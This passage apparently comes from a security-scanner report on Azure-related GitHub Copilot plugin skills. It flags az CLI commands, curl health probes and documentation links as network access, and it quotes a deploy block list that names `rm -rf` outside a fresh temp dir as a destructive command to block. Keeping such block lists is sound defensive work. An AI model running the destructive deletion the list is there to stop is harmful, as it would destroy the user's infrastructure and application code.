    | Symptom | Cause | Resolution | | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. |
  • Network accessline 115
    | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | | `403 Forbidden` | Missing Azure AI User role. | Assign the role on the Foundry project 
  • Network accessline 116
    | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. |
  • Network accessline 142
    ### Commands - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/`
  • Network accessline 143
    - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - `<sync script command>`
  • Network accessline 144
    - `az account get-access-token --resource https://ai.azure.com/`
  • Network accessline 153
    - [ ] Manifest exists or was scaffolded with `useCaseId`, `description`, and `baseInstruction`. - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the
  • Network accessline 154
    - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the token is not printed. - [ ] Agent names are built from `{prefix}-{useCaseId}`.
  • Network accessline 155
    - [ ] Token audience is `https://ai.azure.com/` and the token is not printed.

harness/github-copilot/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/SKILL.md

  • Network accessline 53
    | Build generative UI | Return compact model-consumable data, not rich formatting. | Render rich content in `useRenderToolCall` or the CopilotKit render map. | Confirm rendering while streaming and after stream end. | | Share agent state | 
  • Network accessline 55
    | Debug stream failures | `curl -N` the AG-UI endpoint with a minimal `RunAgentInput` body. | Inspect browser console and network after backend stream is proven good. | Compare raw SSE events with rendered UI state. |

harness/github-copilot/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/references/architecture.md

  • Network accessline 62
    - **Architecture A/B**: run the FastAPI/ASP.NET service directly; point the CopilotKit runtime's `HttpAgent` at `http://localhost:<port>/`.
  • Network accessline 84
    - Token audience is `https://ai.azure.com/.default` — the default `cognitiveservices.azure.com` scope yields 401 "audience is incorrect". - Keyless (Entra / `DefaultAzureCredential`) is the norm; the async Python credential path needs `aioh

harness/github-copilot/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/references/deploy-loop.md

  • Network accessline 41
    Deploy the AG-UI endpoint (Architecture A/C service, or rely on the hosted invocations endpoint for B) where the CopilotKit runtime can reach it server-side; set the runtime's agent URL env var accordingly. Keep auth keyless (Entra) with th

harness/github-copilot/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/references/hitl.md

  • Network accessline 24
    **`.NET`** uses a different mechanism than Python's wrapper flag: wrap the tool in `ApprovalRequiredAIFunction`, then wrap the *agent* in a `DelegatingAIAgent` that bridges approval content to/from the `request_approval` client tool call (t
  • Network accessline 105
    **Root cause (isolated by calling the hosted agent's bare `/responses` endpoint with curl — no AG-UI, no CopilotKit in the loop):** chaining `previous_response_id` through a response that resolved an `mcp_approval_response` makes the hosted

harness/github-copilot/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/references/troubleshooting.md

  • Network accessline 9
    1. `curl -N -X POST <agui-endpoint> -H 'Content-Type: application/json' -d '<minimal RunAgentInput>'` — read raw AG-UI SSE events. Reproduces → frontend innocent.
  • Network accessline 36
    | Symptom | Root cause | Fix | | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |
  • Network accessline 37
    | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | | 403 `Microsoft.MachineLearningServices/workspaces/agents/action` despit
  • Network accessline 38
    | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |

harness/github-copilot/plugins/azure-ai-foundry/skills/microsoft-agent-framework/SKILL.md

  • Network accessline 21
    - Microsoft Agent Framework is in public preview and changes quickly. - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices.
  • Network accessline 22
    - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Prefer official docs and samples for current APIs; treat older Semantic Kernel and AutoG
  • Network accessline 50
    | Source | Rule | Official guide | | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kerne
  • Network accessline 51
    | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | | AutoGen | Preserve agent in
  • Network accessline 52
    | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` |
  • Network accessline 53
    | AutoGen | Preserve agent interactions and orchestration semantics before replacing abstractions. | `https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/` |
  • Network accessline 104
    - [Microsoft Agent Framework overview](https://learn.microsoft.com/agent-framework/overview/agent-framework-overview)
  • Network accessline 105
    - [Migration guide from Semantic Kernel](https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/)
  • Network accessline 106
    - [Migration guide from AutoGen](https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/)

harness/github-copilot/plugins/azure-ai-foundry/skills/microsoft-agent-framework/references/dotnet.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/agent-framework/tree/main/dotnet>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/agent-framework/tree/main/dotnet/samples>

harness/github-copilot/plugins/azure-ai-foundry/skills/microsoft-agent-framework/references/python.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/agent-framework/tree/main/python>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/agent-framework/tree/main/python/samples>

harness/github-copilot/plugins/azure-ai-foundry/skills/semantic-kernel/SKILL.md

  • Network accessline 21
    - Internet or documentation access is required to consult the Semantic Kernel overview: <https://learn.microsoft.com/semantic-kernel/overview/>. - Use Microsoft Docs MCP tooling when available to fetch current framework guidance and samples
  • Network accessline 48
    1. Determine the target language from the user request and repository files. 2. Read `references/dotnet.md` or `references/python.md` for package names, repository paths, sample locations, and coding practices. 3. Open the latest Semantic K
  • Network accessline 49
    2. Read `references/dotnet.md` or `references/python.md` for package names, repository paths, sample locations, and coding practices. 3. Open the latest Semantic Kernel overview at <https://learn.microsoft.com/semantic-kernel/overview/> and
  • Network accessline 50
    3. Open the latest Semantic Kernel overview at <https://learn.microsoft.com/semantic-kernel/overview/> and any linked official sample needed for the task.
  • Network accessline 97
    - [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/)

harness/github-copilot/plugins/azure-ai-foundry/skills/semantic-kernel/references/dotnet.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/semantic-kernel/tree/main/dotnet>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/semantic-kernel/tree/main/dotnet/samples>

harness/github-copilot/plugins/azure-ai-foundry/skills/semantic-kernel/references/python.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/semantic-kernel/tree/main/python>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/semantic-kernel/tree/main/python/samples>

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard-prereq/references/prereq-schemas.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 64
    buildRequirements?: BuildRequirements;   /** Detected health endpoint path (e.g., "/health", "/api/v1/health/").    *  Used by scaffold for Azure health probe config and deploy for curl health check.
  • Network accessline 65
    /** Detected health endpoint path (e.g., "/health", "/api/v1/health/").    *  Used by scaffold for Azure health probe config and deploy for curl health check.    *  null if no health endpoint found (triggers W-HEALTH warning). */
  • Network accessline 66
    *  Used by scaffold for Azure health probe config and deploy for curl health check.

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard-prereq/references/session-schemas.ts

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/blocked-patterns.md

  • Dangerous shell operationline 7
    | `rm -rf` (any path outside a fresh temp dir) | ⛔ Block | Prevents accidental deletion of IaC, app code, or session artifacts — especially `infra/`, `.azure/`, `.copilot-azure/`. |

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/code-deployment-appservice.md

  • Network accessline 48
    [Credential-related source omitted]
  • Network accessline 49
    [Credential-related source omitted]
  • Network accessline 52
    [Credential-related source omitted]
  • Network accessline 53
    [Credential-related source omitted]
  • Network accessline 54
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/code-deployment-container-apps.md

  • Network accessline 25
    | Step | Command | Notes | |------|---------|-------| | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use
  • Network accessline 26
    |------|---------|-------| | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use `-f Dockerfile.azure` (see
  • Network accessline 27
    | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use `-f Dockerfile.azure` (see BuildKit handling below). 

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/code-deployment-swa.md

  • Access to secretsline 24
    [Credential-related source omitted]
  • Network accessline 52
    - **Hostname** — `swa deploy` produces no ARM endpoint output, so fetch it: `$swaHost = az staticwebapp show -n {swa} -g {rg} --query defaultHostname -o tsv` - `endpoints[]` — `[{ name, url: "https://$swaHost", healthStatus: "healthy" }]` (
  • Network accessline 53
    - `endpoints[]` — `[{ name, url: "https://$swaHost", healthStatus: "healthy" }]` (HTTP GET `https://$swaHost/` → 2xx confirms healthy)

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/deploy-checklist-template.md

  • Network accessline 55
    - ACR build failures count toward healing counter - Windows: append `--no-logs` to `az acr build` to avoid UnicodeEncodeError - ⛔ After the revision is ready, run an explicit live HTTP probe against the ingress FQDN (`curl -sSfL`/`iwr` on `
  • Network accessline 57
    - ⛔ After the revision is ready, run an explicit live HTTP probe against the ingress FQDN (`curl -sSfL`/`iwr` on `*.azurecontainerapps.io`) — this call IS the health check; capture the result into `deploy-result.json.endpoints[].healthStatu
  • Access to secretsline 65
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/deploy-schemas.ts

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/health-check-patterns.md

  • Network accessline 22
    If the first health check returns **301 or 302**: 1. Read the `Location` header: `curl -sI "https://{fqdn}{probePath}" | Select-String "^location:" -CaseSensitive:$false`
  • Network accessline 23
    1. Read the `Location` header: `curl -sI "https://{fqdn}{probePath}" | Select-String "^location:" -CaseSensitive:$false`
  • Network accessline 54
    |---------|---------------| | Container Apps | `latestReadyRevisionName` not empty + HTTP on ingress FQDN | | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` |
  • Network accessline 55
    | Container Apps | `latestReadyRevisionName` not empty + HTTP on ingress FQDN | | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` | | Static Web Apps | HTTP GET `https://{defaultHostname}/` → 2xx = `healthy` (hostname
  • Network accessline 56
    | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` |
  • Network accessline 57
    | Static Web Apps | HTTP GET `https://{defaultHostname}/` → 2xx = `healthy` (hostname: `az staticwebapp show -n {swa} -g {rg} --query defaultHostname -o tsv`) |
  • Network accessline 64
    > ⛔ **Container Apps — run an explicit live HTTP probe (the pipeline status is NOT sufficient).** After `latestReadyRevisionName` is set, run an observable request against the ingress FQDN and capture the result into `deploy-result.json.end
  • Network accessline 65
    > ```powershell > iwr "https://{ingressFqdn}/{probePath}" -UseBasicParsing   # PowerShell > curl -sSfL "https://{ingressFqdn}/{probePath}"             # bash
  • Network accessline 66
    > iwr "https://{ingressFqdn}/{probePath}" -UseBasicParsing   # PowerShell
  • Network accessline 67
    > curl -sSfL "https://{ingressFqdn}/{probePath}"             # bash
  • Network accessline 76
    {   "name": "api",   "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io",
  • Network accessline 77
    "name": "api",   "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io",   "healthStatus": "healthy"  // healthy | degraded | unreachable | unknown
  • Network accessline 78
    "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io",

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/mcp-tools.md

  • Network accessline 5
    > **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/portal-links.md

  • Network accessline 11
    $deploymentName = "app-onboard-deploy-$("{sessionId}".Substring(0,8))" $resId = "/subscriptions/{subscriptionId}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDeta
  • Network accessline 12
    $resId = "/subscriptions/{subscriptionId}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))" Write-Output "LIN
  • Network accessline 13
    $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))"
  • Network accessline 27
    $resId = "/subscriptions/{subscriptionId}/resourceGroups/{rg}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F')
  • Network accessline 28
    $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))"
  • Network accessline 33
    For Terraform (no single ARM deployment): `https://portal.azure.com/#@{tenantId}/resource/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/activitylog`
  • Network accessline 51
    ⚠<U+FE0F> Previous deployment link is stale — use this one: https://portal.azure.com/.../{newDeploymentName}
  • Network accessline 52
    https://portal.azure.com/.../{newDeploymentName}

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/preflight-checks.md

  • Network accessline 17
    - Success → proceed. Active subscription + tenant confirmed. - Failure → `ENVIRONMENT_BLOCKING`. Suggest `az login` (plain, no scope). - ⛔ NEVER suggest `az login --scope https://graph.microsoft.com/.default` — Graph scope is irrelevant for
  • Network accessline 19
    - ⛔ NEVER suggest `az login --scope https://graph.microsoft.com/.default` — Graph scope is irrelevant for ARM deployments.

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/handoff-protocol.md

  • Network accessline 12
    > 📁 Resource Group: {context.json.azure.resourceGroup} > 🌍 Region: {context.json.azure.region} > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview
  • Network accessline 13
    > 🌍 Region: {context.json.azure.region} > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview > ```
  • Network accessline 14
    > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/iac-resources.md

  • Network accessline 7
    | Resource | URL | Use When | |----------|-----|----------| | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install |
  • Network accessline 8
    |----------|-----|----------| | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install | | Azure Resource Reference | https://learn.microsoft.com/en-u
  • Network accessline 9
    | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install |
  • Network accessline 10
    | Azure Resource Reference | https://learn.microsoft.com/en-us/azure/templates/ | Resource properties, API versions, schema per type |
  • Network accessline 14
    | Resource | URL | Use When | |----------|-----|----------| | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks |
  • Network accessline 15
    |----------|-----|----------| | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks | | Terraform Registry — azapi | https://registry.
  • Network accessline 16
    | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks |
  • Network accessline 17
    | Terraform Registry — azapi | https://registry.terraform.io/providers/azure/azapi/latest | Preview resources not yet in azurerm; maps to ARM REST APIs |
  • Network accessline 34
    | Resource | URL | Use When | |----------|-----|----------| | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvail
  • Network accessline 35
    |----------|-----|----------| | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvailable`, `QuotaExceeded`, any AR
  • Network accessline 36
    | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvailable`, `QuotaExceeded`, any ARM error code |
  • Network accessline 37
    | App Service Troubleshooting | https://learn.microsoft.com/en-us/troubleshoot/azure/app-service/ | Startup crashes, Kudu/Oryx build failures, health probe issues |
  • Network accessline 38
    | App Service Zip Deploy Guide | https://learn.microsoft.com/en-us/azure/app-service/deploy-zip | Zip deploy, SCM_DO_BUILD_DURING_DEPLOYMENT, Kudu publish API | | Container Apps Troubleshooting | https://learn.microsoft.com/en-us/azure/cont
  • Network accessline 39
    | Container Apps Troubleshooting | https://learn.microsoft.com/en-us/azure/container-apps/troubleshooting | Revision failures, ingress errors, secret resolution, image pull failures |
  • Network accessline 40
    | Quota Increase Portal | https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas | Direct link for quota increase requests |

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/mcp-tool-reference.md

  • Network accessline 5
    > **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs for current parameter names and allowed values: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tool
  • Network accessline 28
    > **Additional global params** (not commonly needed by AppOnboard): `authentication-method` (credential\|key\|connectionString), `max-retries` (default 3), `retry-delay` (default 2s), `retry-delay-maximum` (default 10s), `retry-mode` (fixed

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/phases/deploy.md

  • Network accessline 43
    | 4 | **Deploy approval gate** | Present cost + resource summary per `deploy-checklist.md` § Deploy approval gate format. | — | — | | 5b | **Write deploy-result.json skeleton** | ⛔ Read [`deploy-schemas.ts`](../deploy/deploy-schemas.ts), wr
  • Network accessline 44
    | 5b | **Write deploy-result.json skeleton** | ⛔ Read [`deploy-schemas.ts`](../deploy/deploy-schemas.ts), write skeleton (`status: "in-progress"`). Must exist BEFORE first `az` command. | `deploy-result.json` | ⛔ **You MUST read [`deploy-sc
  • Network accessline 45
    | 6 | **Execute deployment** | ⛔ **BEFORE `az deployment sub create`:** Generate portal link — `$dn="{deploymentName}"; $r="/subscriptions/{subId}/providers/Microsoft.Resources/deployments/$dn"; $l="https://portal.azure.com/#view/Microsoft_

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/mcp-tools.md

  • Network accessline 5
    > **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/naming-patterns.md

  • Network accessline 5
    > **Reference:** [Azure naming conventions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/resource-naming) — link, don't duplicate. Check docs for updates.

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/prepare-schemas.ts

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/pricing-guide-services.md

  • Network accessline 197
    **Not in the Retail Prices API.** Fixed pricing — query [azure.microsoft.com/pricing/details/app-service/static](https://azure.microsoft.com/en-us/pricing/details/app-service/static/):

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/pricing-guide.md

  • Network accessline 66
    When `pricing_get` returns empty: (1) Check `armSkuName` populated/case-sensitive? (2) HTTP fallback: `https://prices.azure.com/api/retail/prices?$filter={filter}`. (3) After 2 failures, use [pricing-guide-services.md](pricing-guide-service

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/sku-quota-validation.md

  • Network accessline 35
    $sub = '{subscriptionId}'; $sku = '{sku}' @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object {   $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/
  • Network accessline 36
    @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object {   $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/quotas/$sku?api-version=20
  • Network accessline 37
    $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/quotas/$sku?api-version=2023-02-01" --query "properties.limit.value" -o tsv 2>$null
  • Network accessline 38
    $used  = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/usages/$sku?api-version=2023-02-01" --query "properties.usages.value" -o tsv 2>$null
  • Network accessline 48
    az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.App/locations/{region}/usages?api-version=2024-03-01" --query "value[?name.value=='ManagedEnvironmentCount'].{used:currentValue, limit:limit}" -
  • Network accessline 86
    $sub = '{subscriptionId}'; $provider = 'Microsoft.DBforPostgreSQL'; $apiVer = '2022-12-01' @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object {   $result = az rest --method get --url "https://management.azure.com/subscriptions/$s
  • Network accessline 87
    @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object {   $result = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/$provider/locations/$_/capabilities?api-version=$apiVer" --query "value[0].sup
  • Network accessline 88
    $result = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/$provider/locations/$_/capabilities?api-version=$apiVer" --query "value[0].supportedFlexibleServerEditions[0].name" -o tsv 2>$null

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/subagent-pricing.md

  • Network accessline 42
    - ⛔ **Do NOT invoke ANY skills** — no `{"skill": "azure-validate"}`, `{"skill": "azure-prepare"}`, or any other skill call. You are a pricing subagent only. Use direct HTTP to `https://prices.azure.com/api/retail/prices` for price queries (
  • Network accessline 45
    - ⛔ For services with empty `armSkuName` (Container Apps, Functions Consumption, ACR, Storage, Cosmos, Key Vault): use `filter`/`meterName` matching — a `sku` filter returns `[]` - ⛔ **Monthly multiplier = each meter's `unitOfMeasure`** (`1
  • Network accessline 46
    - ⛔ **Monthly multiplier = each meter's `unitOfMeasure`** (`1 Hour`→×730, `1/Day`→×30 [ACR/registry, SQL DTU], `1 GB/Month`→×GB, `1 Second`→usage) — NEVER blanket ×730; applying ×730 to a `1/Day` meter overstates ~24× - ⛔ Use direct HTTP to
  • Network accessline 47
    - ⛔ Use direct HTTP to `https://prices.azure.com/api/retail/prices` for all price lookups. Do NOT use `mcp_azure_mcp_pricing` — it was already tried inline and failed.

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/validation-rubric.md

  • Network accessline 8
    |-----------|---------------| | **Goal Alignment** | Every `context.json.intent` field reflected in service/SKU choice. No orphaned services (every service maps to a component or supporting role). `overrides[]` honored. | | **WAF Alignment*
  • Network accessline 9
    | **Goal Alignment** | Every `context.json.intent` field reflected in service/SKU choice. No orphaned services (every service maps to a component or supporting role). `overrides[]` honored. | | **WAF Alignment** | **Cost:** SKU matches budg
  • Network accessline 10
    | **WAF Alignment** | **Cost:** SKU matches budget; alternatives document cost tradeoffs. **Reliability:** Production plans include zone-redundant SKUs, GRS storage. **Security:** Managed identity + Key Vault; private endpoints where budget
  • Network accessline 22
    - [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/) — pillar definitions and tradeoff guidance
  • Network accessline 23
    - [WAF Service Guides](https://learn.microsoft.com/en-us/azure/well-architected/service-guides/) — per-service WAF alignment checklists

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/bicep-container-apps.md

  • Network accessline 116
    > ❌ **WRONG — `environment().suffixes.keyvaultDns` produces double-dot URL:** > `keyVaultUrl: 'https://${kvName}${environment().suffixes.keyvaultDns}/secrets/...'`
  • Network accessline 117
    > `keyVaultUrl: 'https://${kvName}${environment().suffixes.keyvaultDns}/secrets/...'`
  • Network accessline 133
    // ⛔ Do NOT replace vault.azure.net with environment().suffixes.keyvaultDns — it adds a leading dot → double-dot URL           #disable-next-line no-hardcoded-env-urls           keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets
  • Network accessline 134
    #disable-next-line no-hardcoded-env-urls           keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'           identity: 'system'  // Uses the CA's system-assigned managed identity
  • Network accessline 135
    keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'
  • Network accessline 188
    Container Apps in the same environment communicate via internal DNS: `http://{container-app-name}`. Set via env vars:
  • Network accessline 191
    env: [   { name: 'API_URL', value: 'http://${apiContainerApp.name}' }
  • Network accessline 192
    { name: 'API_URL', value: 'http://${apiContainerApp.name}' }
  • Network accessline 193
    { name: 'WORKER_URL', value: 'http://${workerContainerApp.name}' }

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/bicep-patterns-security.md

  • Network accessline 20
    > **Source:** Adapted from Azure security best practices. See [Azure security baseline](https://learn.microsoft.com/en-us/security/benchmark/azure/overview) for updates.
  • Access to secretsline 77
    [Credential-related source omitted]
  • Network accessline 79
    > **Container Apps exception:** Phase 1 of two-phase deployment uses `secrets: []` — NO secrets at all (not plaintext, not KV). KV `secretRef` entries are activated in Phase 2 after RBAC propagates. See [bicep-container-apps.md](../scaffold
  • Network accessline 80
    > > ⛔ **Container Apps KV URL — do NOT use `environment().suffixes.keyvaultDns`.** That function returns `.vault.azure.net` (WITH leading dot) → double-dot URL → `ContainerAppSecretKeyVaultUrlInvalid`. Use `'https://${kvName}.vault.azure.ne
  • Network accessline 81
    > ⛔ **Container Apps KV URL — do NOT use `environment().suffixes.keyvaultDns`.** That function returns `.vault.azure.net` (WITH leading dot) → double-dot URL → `ContainerAppSecretKeyVaultUrlInvalid`. Use `'https://${kvName}.vault.azure.net/

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/bicep-patterns.md

  • Network accessline 5
    > **Source:** Adapted from Azure Bicep best practices. See [Bicep best practices](https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/best-practices) for updates.
  • Network accessline 76
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 77
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/dockerfile-generation.md

  • Network accessline 59
    1. Dockerfile MUST include `ARG NEXT_PUBLIC_API_URL` before the `RUN npm run build` step 2. Deploy phase passes `--build-arg NEXT_PUBLIC_API_URL=https://{api-fqdn}` to `az acr build`
  • Network accessline 60
    2. Deploy phase passes `--build-arg NEXT_PUBLIC_API_URL=https://{api-fqdn}` to `az acr build`
  • Network accessline 62
    Detect from `.env*` files containing `NEXT_PUBLIC_*` pointing to another service (e.g., `NEXT_PUBLIC_API_URL=http://localhost:3001`).

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/env-var-secrets.md

  • Network accessline 12
    > **Pitfalls:** `CORS_ORIGINS=["*"]` → invalid for strict validators (use actual URLs). `DATABASE_URL=changethis` → use KV ref. JSON array env vars need Bicep variable escaping: > ```bicep > var corsOrigins = '["https://${containerApp.prope
  • Network accessline 13
    > ```bicep > var corsOrigins = '["https://${containerApp.properties.configuration.ingress.fqdn}"]' > { name: 'CORS_ORIGINS', value: corsOrigins }
  • Network accessline 14
    > var corsOrigins = '["https://${containerApp.properties.configuration.ingress.fqdn}"]'
  • Network accessline 35
    {     name: 'db-connection-string'     keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'
  • Network accessline 36
    name: 'db-connection-string'     keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'     identity: 'system'
  • Network accessline 37
    keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string'
  • Access to secretsline 56
